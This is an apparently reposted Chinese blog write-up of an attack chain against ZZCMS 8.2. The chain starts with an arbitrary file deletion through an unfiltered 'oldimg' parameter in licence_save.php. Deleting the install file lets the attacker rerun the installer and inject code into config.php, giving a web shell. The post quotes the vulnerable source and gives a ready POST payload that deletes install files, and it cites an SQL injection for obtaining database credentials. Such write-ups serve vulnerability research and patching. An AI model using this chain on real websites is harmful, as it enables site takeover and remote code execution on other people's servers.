ZZCMS 8.2任意文件删除至Getshell

  • 内容
  • 相关

环境

Web: Apache+PHP+MySql
System: Ubuntu
Browser: Firefox Quantum

漏洞详情

文件位置:

/user/licence_save.php
代码:
$title=trim($_POST["title"]);        
$img=trim($_POST["img"]);
if ($_GET["action"]=="add"){
query("Insert into zzcms_licence(title,img,editor,sendtime) values('$title','$img','$username','".date('Y-m-d H:i:s')."')") ; 
}elseif ($_GET["action"]=="modify"){
$oldimg=trim($_POST["oldimg"]);
        $id=$_POST["id"];
        if ($id=="" || is_numeric($id)==false){
                $FoundErr=1;
                $ErrMsg="<li>". $f_array[0]."</li>";
                WriteErrMsg($ErrMsg);
        }else{
        query("update zzcms_licence set title='$title',img='$img',sendtime='".date('Y-m-d H:i:s')."',passed=0 where id='$id'");
                if ($oldimg<>$img && $oldimg<>"/image/nopic.gif"){
                        $f="../".$oldimg;
                        if (file_exists($f)){
                        unlink($f);
                        }
                        $fs="../".str_replace(".","_small.",$oldimg)."";
                        if (file_exists($fs)){
                        unlink($fs);                
                        }
                }                
        }
}
我们可以看到如果从$_GET传值过来如果是modify,那么就执行下面的内容。
$oldimg=trim($_POST["oldimg"]);$_POST过来的oldimgtrim去点两边的空格之后赋值给$oldimg
接下来这些不用理会,直到if ($oldimg<>$img && $oldimg<>"/image/nopic.gif")这句判断,$img是上面$_POST过来的,填其他值就不等于了,然后我们的文件名也不会等于/image/nopic.gif
$f="../".$oldimg;跳到主目录然后接上我们的要传过来的文件路径和文件名
if (file_exists($f)){unlink($f);}这句file_exists判断文件是否存在,存在就用unlink删除文件。
中间没有做任何的过滤。。。

1.png

构造POC

我们要把这些$_POST$_GET的值都加上,要不然PHP会报错不执行下去。

$_GET["action"]=="modify"
$oldimg=trim($_POST["oldimg"])
$id=$_POST["id"]
$title=trim($_POST["title"]);
$img=trim($_POST["img"]);
最终的POC:
GET:
http://www.zzcms.test/user/licence_save.php?action=modify
POST:
title=1&img=1&oldimg=install/test.php&id=1

2.png

重装GetShell

文件位置:

/install/index.php
代码:
<?php
switch($step) {
        case '1'://协议
                include 'step_'.$step.'.php';
        break;
        中间省略。。。。。
case '5'://安装进度
                function dexit($msg) {
                        echo '<script>alert("'.$msg.'");window.history.back();</script>';
                        exit;
                }

                $conn=connect($db_host,$db_user,$db_pass,'',$db_port);
                if(!$conn) dexit('无法连接到数据库服务器,请检查配置');
                $db_name or dexit('请填写数据库名');
                if(!select_db($db_name)) {
                        if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
                }

                //保存配置文件
                $fp="../inc/config.php";
                $f = fopen($fp,'r');
                $str = fread($f,filesize($fp));
                fclose($f);
                $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
                $str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
                $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
                $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
                $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
                $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
                $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
                $f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
                fputs($f,$str);//把替换后的内容写入文件
                fclose($f);
                //创建数据
                include 'step_'.$step.'.php';
                break;

过程分析

这段传入的step的值是什么就包含目录下这个文件。

switch($step) {
    case '1'://协议
            include 'step_'.$step.'.php';
这段有个函数,执行这个dexit的函数就会弹出$msg内容的信息框.
然后检查数据库是否能连接成功,如果不行就执行上面dexit这个函数。
这里要检验数据库连接才可以到下面的文件写入,这里可以利用http://www.freebuf.com/vuls/161888.html这里面的8.2的SQL注入漏洞去获取数据库的信息即可。
function dexit($msg) {
                    echo '<script>alert("'.$msg.'");window.history.back();</script>';
        exit;
    }
    $conn=connect($db_host,$db_user,$db_pass,'',$db_port);
            if(!$conn) dexit('无法连接到数据库服务器,请检查配置');
    $db_name or dexit('请填写数据库名');
            if(!select_db($db_name)) {
        if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
    }
这里替换就分析可控那一句就行了,因为数据库那些都要检验。
大家可能会疑问,为什么这个文件翻来翻去都没见这些变量getpost过来啊。大家往上面看就可以看到这两句,把getpost的值都变成变量了。

3.png

下面就是打开文件,读入内容,然后最下面这句就是替换内容了。

//保存配置文件
    $fp="../inc/config.php";
            $f = fopen($fp,'r');
            $str = fread($f,filesize($fp));
    fclose($f);
    $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
到这里就分析完了,下面就开始写入内容了。很简单,就闭合然后注释后面的就行了。

4.png

然后访问地址:

http://www.zzcms.test/inc/config.php

5.png

文章转载自:F0rMat - http://getpass.cn/2018/03/06/ZZCMS8.2-any-file-deleted-to-getshell/

本文标签:

版权声明:若无特殊注明,本文皆为《南柯一梦》原创,转载请保留文章出处。

本文链接:ZZCMS 8.2任意文件删除至Getshell - https://www.nkymbk.cn/post-311.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

未显示?请点击刷新

允许邮件通知
00:00 / 00:00
顺序播放